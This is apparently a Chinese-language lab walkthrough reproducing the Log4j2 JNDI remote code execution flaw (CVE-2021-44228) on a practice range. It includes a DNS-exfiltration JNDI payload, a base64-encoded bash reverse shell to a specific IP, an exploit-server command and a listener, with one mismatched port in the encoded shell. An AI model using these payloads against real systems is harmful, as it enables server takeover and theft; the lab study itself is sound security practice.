log4j2 远程代码执行漏洞复现(CVE-2021-44228)
简介
log4j2
log4j2是 Log4j 的升级版,都是 Java 的日志记录框架,由 Apache 开发维护,用于把程序中的日志信息输出到控制台、文件、数据库等。
Log4j2 中默认支持 JNDI(Java Naming and Directory Interface),如果用户的日志内容可控,就可能触发远程加载恶意类并执行,造成 远程代码执行(RCE)。
JNDI
在 Java 编程中,JNDI(Java Naming and Directory Interface)是一套标准的 API,主要用于访问各种命名和目录服务,如 LDAP、RMI、DNS、JDBC 等。它的作用就像是 Java 世界中的“资源查找器”,允许程序通过统一的方式查找并访问外部资源,比如数据库连接、远程对象或配置服务。在企业级 Java 应用中,JNDI 被广泛用于资源配置与服务定位。然而,JNDI 也可能成为攻击者的突破口。一个著名的安全事件就是 2021 年爆发的 Log4j2 远程代码执行漏洞(Log4Shell),攻击者通过构造恶意的 JNDI 请求(如 ${jndi:ldap://...}
),诱导应用程序从远程服务器加载并执行恶意类,从而实现控制服务器的目的。这个事件凸显了 JNDI 在功能强大的同时也存在一定的安全风险。因此,在现代 Java 开发中,建议开发者谨慎使用 JNDI,并加强输入过滤、禁用远程类加载或升级使用的相关组件以确保系统安全。
漏洞复现
这里依旧使用vulfocus在线靶场
点击????
构造payload
${jndi:ldap://${sys:java.version}.example.com}
在dnslog处get一个域名,来替换掉命令中example.com
正常直接拼接payload会发现请求失败
这是因为是 get 请求,很大概率对我们传入的内容进行了 URL 解码,因此我们先对 payload 进行 URL 编码后再传入,可以直接用bp里的模块进行编码
除了能执行简单的命令,反弹 shell 到目标主机端口,这里以 7777 端口为例
bash -i >& /dev/tcp/ip(反弹到的目标主机)/7777 0>&1
用base64编码一下
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My84ODg4IDA+JjE=
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
最后完整的JNDI命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "129.226.90.183"
之前通过dnslog看到靶机jdk是1.8版本的,而我这边是java 11,所以选择这个命令
${jndi:rmi://ip/7ffvsn}
再将命令用url编码之后得到payload进行攻击,执行之前先监听一下端口
nc -lvvp 7777
可以看到执行成功
回看JNDI
以及shell已经成功反弹到目标主机
使用命令查找flag
find / -name "*flag*"